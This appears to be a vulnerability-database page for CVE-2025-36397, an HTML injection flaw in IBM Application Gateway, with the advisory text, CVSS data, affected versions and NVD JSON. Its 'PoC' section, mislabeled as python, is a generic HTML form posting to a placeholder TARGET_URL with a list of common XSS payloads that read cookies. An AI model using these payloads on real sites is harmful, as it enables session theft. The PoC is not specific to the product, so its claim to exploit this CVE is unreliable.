CVE-2025-36397

Description

IBM Application Gateway 23.10 through 25.09 is vulnerable to HTML injection. A remote attacker could inject malicious HTML code, which when viewed, would be executed in the victim's Web browser within the security context of the hosting site.

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:ibm:application_gateway:*:*:*:*:*:*:*:* - VULNERABLE

IBM Application Gateway 23.10

IBM Application Gateway 23.11

IBM Application Gateway 24.01

IBM Application Gateway 24.02

IBM Application Gateway 24.03

IBM Application Gateway 24.04

IBM Application Gateway 24.05

IBM Application Gateway 24.06

IBM Application Gateway 24.07

IBM Application Gateway 24.08

IBM Application Gateway 24.09

IBM Application Gateway 25.01

IBM Application Gateway 25.02

IBM Application Gateway 25.03

IBM Application Gateway 25.04

IBM Application Gateway 25.05

IBM Application Gateway 25.06

IBM Application Gateway 25.07

IBM Application Gateway 25.08

IBM Application Gateway 25.09

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-36397 HTML Injection PoC -->
<!-- Example: Inject malicious HTML into IBM Application Gateway -->

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-36397 PoC</title>
</head>
<body>
    <h2>CVE-2025-36397 HTML Injection PoC</h2>
    
    <form action="TARGET_URL" method="POST">
        <p>Inject HTML payload:</p>
        <!-- Basic HTML injection payload -->
        <input type="text" name="input_field" value='<img src=x onerror="alert(document.cookie)">'>
        <button type="submit">Submit</button>
    </form>
    
    <script>
        // Common HTML injection payloads for testing
        const payloads = [
            '<script>alert("XSS")</script>',
            '<img src=x onerror=alert(document.domain)>',
            '<iframe src="javascript:alert(document.cookie)">',
            '<svg onload=alert(document.cookie)>',
            '<a href="javascript:alert(1)">Click</a>',
            '<body onload=alert("HTML Injection")>'
        ];
        
        console.log("CVE-2025-36397 PoC Payloads:");
        payloads.forEach((p, i) => console.log(`${i+1}: ${p}`));
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-36397
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-36397
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-36397/
[4] VulDB https://vuldb.com/cve/CVE-2025-36397
[5] https://www.ibm.com/support/pages/node/7256857

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-36397", "sourceIdentifier": "[email protected]", "published": "2026-01-20T16:16:04.030", "lastModified": "2026-01-26T19:47:11.003", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM Application Gateway 23.10 through 25.09 is vulnerable to HTML injection. A remote attacker could inject malicious HTML code, which when viewed, would be executed in the victim's Web browser within the security context of the hosting site."}, {"lang": "es", "value": "IBM Application Gateway 23.10 hasta 25.09 es vulnerable a la inyección HTML. Un atacante remoto podría inyectar código HTML malicioso que, al ser visualizado, se ejecutaría en el navegador web de la víctima dentro del contexto de seguridad del sitio anfitrión."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-80"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:application_gateway:*:*:*:*:*:*:*:*", "versionStartIncluding": "23.10", "versionEndIncluding": "25.09", "matchCriteriaId": "24D8BDA9-CB77-41CA-95ED-ABBEA4F88CAA"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7256857", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}